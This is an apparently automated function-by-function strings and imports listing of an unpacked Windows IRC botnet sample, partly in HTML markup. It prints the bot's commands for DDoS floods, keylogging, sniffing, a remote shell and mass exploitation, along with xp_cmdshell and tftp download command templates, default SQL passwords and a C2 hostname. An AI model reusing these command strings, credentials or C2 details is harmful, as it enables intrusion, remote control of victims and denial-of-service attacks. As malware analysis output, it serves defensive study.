sub_outside():
	WS2_32.socket
	KERNEL32.Sleep
	WS2_32.gethostbyname
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.connect
	WS2_32.send
	WS2_32.shutdown
	WS2_32.closesocket
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	KERNEL32.GetVersion
	KERNEL32.GetCommandLineA
	KERNEL32.GetStartupInfoA
	KERNEL32.GetModuleHandleA
sub_41E7F5(0126):
	KERNEL32.SetUnhandledExceptionFilter
sub_40C21C(019e):
	"%sKB"
	"failed"
sub_409B27(03c8):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FormatMessageA

	"%s	Error: %s <%d>."
sub_40282F(0675):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket

	"dd."
	"dd"
	"78799"
	"echo open %s %d >> eq&echo user %s %s	>"...
sub_41CA9C(06bc):
	KERNEL32.GetCPInfo
sub_40B363(06cc):
	"rb"
sub_418C18(0a41):
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy
sub_40182F(0c04):
	KERNEL32.ExitThread
sub_41EF8E(0e35):
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

	"user32.dll"
	"MessageBoxA"
	"GetActiveWindow"
	"GetLastActivePopup"
sub_40CA58(0f5b):
	KERNEL32.Sleep
sub_412F13(0fb5):
	NTDLL.RtlGetLastWin32Error

	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"	 Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"
sub_4036D2(10b8):
	KERNEL32.Sleep

	"tftp -i %s get %s\r\n"
	"echo open %s %d > o&echo user	1 1 >> o "...
sub_406048(1211):
	KERNEL32.GetFileAttributesA
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

	"\\%s"
	"%s"
	"%s%s"
	"\n"
	"*"
sub_413EDB(1889):
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle
sub_41D170(18d1):
	KERNEL32.GetModuleFileNameA

	"C:\\m_unpacker\\packed.exe"
sub_40B61A(1e61):
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	KERNEL32.CloseHandle
	KERNEL32.ExitThread
sub_414826(1e6a):
	KERNEL32.GetLogicalDrives

	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"%c$"
	"%c:\\"
sub_414F15(1fc3):
	KERNEL32.TerminateThread
sub_40A5C5(21b8):
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ReadFile
	KERNEL32.ExitThread
sub_407592(22a3):
	"%d.%d.%d.%d"
sub_41B4D8(22de):
	NTDLL.RtlSizeHeap
sub_405398(2484):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.htons
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 fuckFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 fuckFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"
sub_413DFD(2a9a):
	KERNEL32.ExitThread
sub_413B27(2b0f):
	KERNEL32.GetComputerNameA
sub_41387D(2bcd):
	"Username accounts for	local system:"
	"  %S"
	"Total	users found: %d."
sub_41CEDB(2f2e):
	KERNEL32.UnhandledExceptionFilter
sub_41EA02(33c3):
	KERNEL32.GetTimeZoneInformation
	KERNEL32.WideCharToMultiByte

	"TZ"
sub_406B84(38b7):
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"octet"
	"rb"
sub_403833(3a02):
	KERNEL32.Sleep
sub_409D34(3cc3):
	KERNEL32.GetTempPathA
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"
sub_409C6E(3f4b):
	KERNEL32.CreateFileA
	KERNEL32.GetFileTime
	KERNEL32.CloseHandle
	KERNEL32.SetFileTime

	"explorer.exe"
sub_407EA5(3fdf):
	KERNEL32.ExitThread
sub_40597F(4036):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.connect
	WS2_32.closesocket
	WS2_32.WSACleanup
sub_418AD0(45c9):
	KERNEL32.GetVersionExA
	KERNEL32.GetEnvironmentVariableA
	KERNEL32.GetModuleFileNameA

	"__MSVCRT_HEAP_SELECT"
	"__GLOBAL_HEAP_SELECTED"
sub_41A77A(4634):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress

	"KERNEL32"
	"IsProcessorFeaturePresent"
sub_41DCE8(4712):
	KERNEL32.SetStdHandle
sub_40A9D8(4977):
	KERNEL32.GetVersionExA
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus

	"95"
	"NT"
	"98"
	"ME"
	"2K"
	"XP"
	"2003"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"
	"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
sub_40A71A(4b59):
	KERNEL32.CreatePipe
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error

	"cmd.exe"
sub_41A8A1(502f):
	"e+000"
sub_403166(5105):
	"FXNBFXFXNBFXFXFXFX"
sub_41DC71(545a):
	KERNEL32.SetStdHandle
sub_41C639(547a):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte
sub_418AA3(5645):
	KERNEL32.GetModuleHandleA
sub_40211C(5833):
	KERNEL32.GetLocalTime
	KERNEL32.GetSystemDirectoryA

	"\\"
	"ab"
	"[%d-%d-%d %d:%d:%d] %s\r\n"
sub_40A922(5868):
	KERNEL32.Sleep
sub_419AB4(58ed):
	KERNEL32.VirtualAlloc
sub_401000(5910):
	KERNEL32.GetTickCount
	KERNEL32.ExitThread
sub_4086B2(594b):
	KERNEL32.ExitThread
sub_412BD1(5e0c):
	KERNEL32.Sleep

	"NOTICE"
	"PRIVMSG"
	"%s"
sub_404EC7(5e43):
	KERNEL32.Sleep

	"sa"
	"root"
	"admin"
	"DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
	"EXEC master..xp_cmdshell 'del eq&echo o"...
	"EXEC master..xp_cmdshell '%s'"
sub_40481B(5f99):
	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
sub_41737F(6050):
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap
sub_41C447(6091):
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error
sub_41F8D8(6338):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"
sub_412D95(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"
sub_4193CB(64eb):
	KERNEL32.VirtualAlloc
sub_41DA2B(66df):
	KERNEL32.WideCharToMultiByte
sub_408503(69df):
	"%s\\%s"
	"r"
	"="
	"="
sub_415C9B(6c37):
	NTDLL.RtlFreeHeap
sub_4076CB(6d38):
	KERNEL32.GetTickCount
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"dcom135"
sub_413C50(6efa):
	KERNEL32.CloseHandle
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess

	"SeDebugPrivilege"
	"SeDebugPrivilege"
	" %s (%d)"
sub_408146(729a):
	KERNEL32.ExitThread
sub_415C27(7566):
	NTDLL.RtlAllocateHeap
sub_40A4D6(7918):
	KERNEL32.CloseHandle
sub_405A96(7af1):
	KERNEL32.ExitThread

	"GET	"
	" "
	"\r\n"
sub_40AD52(7d50):
	KERNEL32.ExitThread
sub_413FA0(7e76):
	KERNEL32.GetTickCount
sub_41DD9F(7f77):
	KERNEL32.FlushFileBuffers
	NTDLL.RtlGetLastWin32Error
sub_420119(8107):
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
	KERNEL32.GetCPInfo
	KERNEL32.MultiByteToWideChar
sub_41DA93(81be):
	KERNEL32.GetStringTypeW
	KERNEL32.GetStringTypeA
	KERNEL32.MultiByteToWideChar
sub_4208DC(822d):
	"invalid string position"
sub_4206B0(822d):
	"string too long"
sub_401BD4(8291):
	KERNEL32.GetTickCount
	KERNEL32.ExitThread

	"syn"
	"ack"
	"random"
sub_4185EB(84ec):
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error
sub_407B36(851c):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.ExitThread
sub_418C75(8555):
	NTDLL.RtlAllocateHeap
sub_415062(8732):
	"%s: %s stopped. (%d thread(s)	stopped.)"...
	"%s: No %s thread found."
sub_418CE8(87ad):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap
sub_4144A0(8931):
	KERNEL32.ExitThread
sub_4134AF(893c):
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"
sub_40CD3A(89a0):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	KERNEL32.GetTickCount
	KERNEL32.MoveFileA
	KERNEL32.CreateProcessA
	KERNEL32.GetTempPathA
	KERNEL32.DeleteFileA
	KERNEL32.TerminateThread
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetSystemDirectoryA
	KERNEL32.ExitProcess

	" :"
	" "
	"PING"
	"PONG	%s\r\n"
	"JOIN	%s %s\r\n"
	"001"
	"005"
	"302"
	"@"
	"433"
	"NICK	%s\r\n"
	"KICK"
	"NOTICE %s :%s\r\n"
	"JOIN	%s %s\r\n"
	"NICK"
	":%s%s"
	"PART"
	"QUIT"
	"353"
	"PART"
	"NOTICE %s :%s\r\n"
	"PRIVMSG"
	"NOTICE"
	"SEND"
	"%s"
	"%s has just versioned	me."
	"CHAT"
	"%s"
	"newshit"
	"hi"
	" :"
	"$%d-"
	"$%d"
	"$me"
	"$user"
	"$chan"
	"$rndnick"
	"$server"
	"$chr("
	")"
	"63"
	" "
	"enz.rndnick"
	"enz.rn"
	"enz.endsess"
	"enz.d"
	"enz.logout"
	"enz.lo"
	"enz.version"
	"enz.ver"
	"lockdown.on"
	"ld.on"
	"lockdown.off"
	"ld.off"
	"server.socks4.on"
	"server.s4.on"
	"server.socks4.off"
	"Server"
	"server.rlogin.off"
	"Server"
	"Server"
	"server.redirect.off"
	"server.tftp.off"
	"Server"
	"box.findfile.off"
	"box.ff.off"
	"box.ps.off"
	"clone.off"
	"Clone"
	"Secure"
	"vuln.stop"
	"Scan"
	"Exploitation"
	"vuln.stats"
	"vuln.st"
	"enz.reh4sh"
	"enz.rh4"
	"enz.endt3rm"
	"enz.et3"
	"enz.t3rm1"
	"enz.status"
	"enz.s"
	"enz.id"
	"enz.i"
	"box.rebewt"
	"threads.list"
	"threads.l"
	"enz.aliases"
	"enz.al"
	"enz.log"
	"enz.lg"
	"util.clg"
	"box.netinfo"
	"box.ni"
	"box.sysinfo"
	"box.si"
	"enz.beg0ne"
	"enz.b3g"
	"box.procs"
	"box.ps"
	"box.harvest"
	"box.key"
	"box.uptime"
	"box.up"
	"box.drv"
	"box.testdlls"
	"box.dll"
	"box.opencmd"
	"box.ocmd"
	"box.ocmd.off"
	"Remote shell"
	"[CMD]"
	"enz.who"
	"-[Login List]-"
	""
	"%d. %s"
	"box.getclip"
	"box.gc"
	"util.farp"
	"util.fdns"
	"vuln.currentip"
	"vuln.cip"
	"server.httpd.on"
	"server.tftp.on"
	"server.tf.on"
	"vuln.massexploit"
	"vall"
	"enz.nick"
	"enz.n"
	"enz.join"
	"enz.j"
	"enz.part"
	"enz.pt"
	"enz.raw"
	"enz.r"
	"threads.kill"
	"threads.k"
	"clone.quit"
	"clone.q"
	"clone.rn"
	"enz.prefix"
	"enz.pr"
	"box.open"
	"box.o"
	"enz.setserve"
	"enz.se"
	"enz.dns"
	"enz.dn"
	"box.killprocname"
	"box.kpn"
	"box.prockillid"
	"box.pkid"
	"box.delete"
	"box.del"
	"dcc.get"
	"dcc.gt"
	"box.filelist"
	"box.fl"
	"enz.visit"
	"enz.v"
	"mirc.cmd"
	"mirc.cmd"
	"box.cmd"
	"box.cm"
	"box.readfile"
	"box.rf"
	"sniff"
	"on"
	"off"
	"box.keylog"
	"on"
	"file"
	"off"
	"file"
	"box.net"
	"start"
	"%s"
	"stop"
	"pause"
	"continue"
	"delete"
	"share"
	"%s"
	"user"
	"%s"
	"send"
	"%s"
	"enz.gethost"
	"enz.gh"
	"enz.addalias"
	"enz.aa"
	"enz.privmsg"
	"enz.pm"
	"enz.action"
	"enz.ac"
	"enz.cycle"
	"enz.cy"
	"enz.mode"
	"enz.m"
	"clone.raw"
	"clone.ra"
	"clone.mode"
	"clone.m"
	"clone.nick"
	"clone.ni"
	"clone.join"
	"clone.j"
	"clone.part"
	"clone.p"
	"enz.repeat"
	"enz.rp"
	"enz.delay"
	"enz.de"
	"download.updiz"
	"download.upz"
	"box.execute"
	"box.e"
	"box.findfile"
	"box.ff"
	"box.rename"
	"box.mv"
	"ddos.icmp"
	"ddos.ic"
	"clone.make"
	"clone.start"
	"ds.sy1"
	"ds.ack"
	"ds.rm"
	"sy1"
	"download.fromwww"
	"d1"
	"server.redirect.on"
	"server.rd.on"
	"enz.portscan"
	"enz.ps"
	"clone.pm"
	"clone.action"
	"clone.ac"
	"vuln.start"
	"vvv"
	"ddos.udpf"
	"pu"
	"ddos.pingflood"
	"ddos.pingf"
	"pg"
	"usa"
	"util.email"
	" "
	"_"
	"helo $rndnick\nmail from: <%s>\nrcpt to: "...
	"util.httpcon"
	"util.hcon"
	"ftp.upload"
	"%s\\%i%i%i.dll"
	"ab"
	"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
	"-s:%s"
	"ftp.exe"
	"open"
	"syn"
	"ack"
	"random"
	"Spoofed"
	"Normal"
	"ICMP.dll not available"
	"Sequential"
	"[%s]	* %s %s"
	"[%s]	<%s> %s"
	"id999"
	"%s%s.exe"
	"repeat"
	"MODE	%s\r\n"
	"JOIN	%s %s\r\n"
	"r"
	"\n"
	"%s"
	"open"
	"QUIT :later\r\n"
	"all"
	"JOIN	%s %s\r\n"
	"NICK	%s\r\n"
	"Sequential"
	"full"
	"%s"
	"id999"
	"QUIT	:%s\r\n"
	"QUIT :later\r\n"
	"QUIT :disconnecting\r\n"
	"QUIT :reconnecting\r\n"
	"secure"
	"sec"
	"Unsecuring"
	"enz 999.9b"
	"NICK	%s\r\n"
	"~"
	"hi"
	"NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
	"NOTICE %s :You've been logged.\r\n"
	"NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
	"NOTICE %s :You've been logged.\r\n"
	"hi"
	"USERHOST %s\r\n"
	"MODE	%s %s\r\n"
	"JOIN	%s %s\r\n"
sub_416200(8af0):
	NTDLL.RtlUnwind
sub_41E83A(8bd2):
	KERNEL32.IsBadCodePtr
sub_413112(8cdb):
	KERNEL32.WideCharToMultiByte
sub_40B18A(8d42):
	KERNEL32.ExitThread
sub_41DDF6(8dd2):
	KERNEL32.CreateFileA
	KERNEL32.GetFileType
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error
sub_409BB1(8e50):
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
sub_4018CB(9056):
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter
sub_417729(91cb):
	KERNEL32.GetFileAttributesA
	NTDLL.RtlGetLastWin32Error
sub_413248(935d):
	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"
sub_41CCC7(94b9):
	KERNEL32.WriteFile
	NTDLL.RtlGetLastWin32Error
sub_4040E5(94d6):
	"BBBB"
	"CCCC"
sub_40A133(953e):
	KERNEL32.ExitThread
sub_417A19(95ea):
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error
sub_41E869(9a80):
	KERNEL32.MultiByteToWideChar
sub_40B9BC(9b58):
	KERNEL32.GetSystemDirectoryA
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	KERNEL32.ExitThread

	"%s%s"
	"a+b"
sub_4139F3(9bb4):
	"Invalid parameter."
	"Server name not found."
	"This network request is not supported."
	"Not enough memory."
	"The name is invalid."
	"Duplicate share name."
	"Invalid for redirected resource."
	"Device or directory does not exist."
	"Level	parameter is invalid."
	"A general failure occurred in	the netwo"...
	"The operation	is allowed only	on the pr"...
	"The user account already exists."
	"The group already exists."
	"The password is shorter than required	("...
	"An unknown error occurred."
	"The computer name is invalid."
	"Share	not found."
	"The user name	could not be found."
	"Network connection not found."
sub_414E97(9c71):
	"-[Thread List]-"
	"%d. %s"
sub_409D12(9dbe):
	"SeShutdownPrivilege"
sub_40A2BF(9dd3):
	KERNEL32.GetTickCount
	KERNEL32.ExitThread
	KERNEL32.Sleep
sub_402FCD(9dfb):
	KERNEL32.MultiByteToWideChar

	"\\IPC$"
	"\\\\"
sub_41E802(9ed0):
	KERNEL32.IsBadReadPtr
sub_41E81E(9ed0):
	KERNEL32.IsBadWritePtr
sub_4024D0(a0bf):
	KERNEL32.ExitThread

	"[PSNIFF]"
sub_4045DE(a2f7):
	WS2_32.send
sub_41C85D(a8e4):
	KERNEL32.GetOEMCP
	KERNEL32.GetCPInfo
sub_412CF3(a9bc):
	NTDLL.RtlGetLastWin32Error
sub_413F42(ac14):
	KERNEL32.GetTickCount

	"%s"
sub_4095A9(ac3c):
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
	"Avicap32.dll failed. <%d>"
sub_40297A(ad7d):
	WS2_32.htons
	WS2_32.send
	WS2_32.recv
	KERNEL32.Sleep
sub_420B09(aeff):
	KERNEL32.RaiseException
sub_417C33(af5c):
	KERNEL32.ExitProcess
sub_4131E4(afa1):
	KERNEL32.MultiByteToWideChar
sub_4062F7(b203):
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep
	KERNEL32.FindClose

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\nIndex of %s</TIT"...
	"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
	"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
	"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
	"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
	".."
	"."
	"PM"
	"AM"
	"%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
	"<%s>"
	"PRIVMSG %s :%-31s  %-21s\n"
	"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
	"%s%s/"
	"\"><CODE>%.29s>/</CODE></A>"
	"\"><CODE>%s/</CODE></A>"
	"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
	"<%s>"
	"%-31s  %-21s\r\n"
	"PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
	"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
	"%s%s"
	"\"><CODE>%.30s></CODE></A>"
	"\"><CODE>%s</CODE></A>"
	"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
	"%-31s  %-21s (%i bytes)\r\n"
	"PRIVMSG %s :Found %s Files and %s Direc"...
	"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
	"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_40C18B"><td><pre><a name="sub_40C18B"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40C18B"><font size=+2>sub_40C18B</a>(b2db)</font>:<font color=brown>
	"RAM"
	"Cdrom"
	"Network"
	"Disk"
	"Invalid"
	"Unknown"
</font></pre></td></tr><tr id="sub_40B459"><td><pre><a name="sub_40B459"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40B459"><font size=+2>sub_40B459</a>(b3f8)</font>:<font color=darkgreen>
	KERNEL32.ExitThread
	KERNEL32.Sleep</font>
<font color=brown>
	"\n"
</font></pre></td></tr><tr id="sub_41697B"><td><pre><a name="sub_41697B"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41697B"><font size=+2>sub_41697B</a>(b605)</font>:<font color=darkgreen>
	KERNEL32.GetLocalTime
	KERNEL32.GetSystemTime
	KERNEL32.GetTimeZoneInformation</font>
<font color=brown></font></pre></td></tr><tr id="sub_40A506"><td><pre><a name="sub_40A506"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40A506"><font size=+2>sub_40A506</a>(b783)</font>:<font color=darkgreen>
	KERNEL32.WriteFile</font>
<font color=brown></font></pre></td></tr><tr id="sub_41791C"><td><pre><a name="sub_41791C"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41791C"><font size=+2>sub_41791C</a>(b873)</font>:<font color=darkgreen>
	KERNEL32.DeleteFileA
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_4143AF"><td><pre><a name="sub_4143AF"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4143AF"><font size=+2>sub_4143AF</a>(baf2)</font>:<font color=darkgreen>
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_413BE5"><td><pre><a name="sub_413BE5"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_413BE5"><font size=+2>sub_413BE5</a>(bbe1)</font>:<font color=darkgreen>
	KERNEL32.GetCurrentProcess
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_409EBC"><td><pre><a name="sub_409EBC"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_409EBC"><font size=+2>sub_409EBC</a>(bc6b)</font>:<font color=darkgreen>
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.CreateProcessA</font>
<font color=brown>
	"@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
	"c:\\tenpo.bat"
</font></pre></td></tr><tr id="sub_406978"><td><pre><a name="sub_406978"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_406978"><font size=+2>sub_406978</a>(c265)</font>:<font color=darkgreen>
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_40CBBE"><td><pre><a name="sub_40CBBE"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40CBBE"><font size=+2>sub_40CBBE</a>(c36d)</font>:<font color=darkgreen>
	KERNEL32.Sleep</font>
<font color=brown>
	"PASS	%s\r\n"
</font></pre></td></tr><tr id="sub_40C574"><td><pre><a name="sub_40C574"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40C574"><font size=+2>sub_40C574</a>(c40f)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	KERNEL32.ExitProcess
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.CopyFileA
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.DeleteFileA</font>
<font color=brown>
	"id999"
	"%s%s"
	"%s\\%s"
	"home.najd.us"
	"#dd"
	"dpass"
	"home.najd.us"
	"#dd"
	"dpass"
	"dpass"
</font></pre></td></tr><tr id="sub_409BEC"><td><pre><a name="sub_409BEC"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_409BEC"><font size=+2>sub_409BEC</a>(c66c)</font>:<font color=darkgreen>
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle</font>
<font color=brown>
	"mIRC"
</font></pre></td></tr><tr id="sub_41C251"><td><pre><a name="sub_41C251"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41C251"><font size=+2>sub_41C251</a>(c6bf)</font>:<font color=darkgreen>
	KERNEL32.ReadFile
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_4071B6"><td><pre><a name="sub_4071B6"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4071B6"><font size=+2>sub_4071B6</a>(c742)</font>:<font color=darkgreen>
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_41D4EF"><td><pre><a name="sub_41D4EF"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41D4EF"><font size=+2>sub_41D4EF</a>(c890)</font>:<font color=darkgreen>
	KERNEL32.GetStartupInfoA
	KERNEL32.GetFileType
	KERNEL32.GetStdHandle
	KERNEL32.LockResource</font>
<font color=brown></font></pre></td></tr><tr id="sub_40BBF7"><td><pre><a name="sub_40BBF7"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40BBF7"><font size=+2>sub_40BBF7</a>(c9ee)</font>:<font color=darkgreen>
	KERNEL32.CreateFileA
	KERNEL32.ExitThread
	KERNEL32.GetTickCount
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.CreateProcessA
	KERNEL32.ExitProcess</font>
<font color=brown>
	"open"
</font></pre></td></tr><tr id="sub_401444"><td><pre><a name="sub_401444"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_401444"><font size=+2>sub_401444</a>(ca6b)</font>:<font color=darkgreen>
	KERNEL32.ExitThread
	KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_40C48C"><td><pre><a name="sub_40C48C"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40C48C"><font size=+2>sub_40C48C</a>(cb3a)</font>:<font color=darkgreen>
	KERNEL32.Sleep
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.ExitProcess</font>
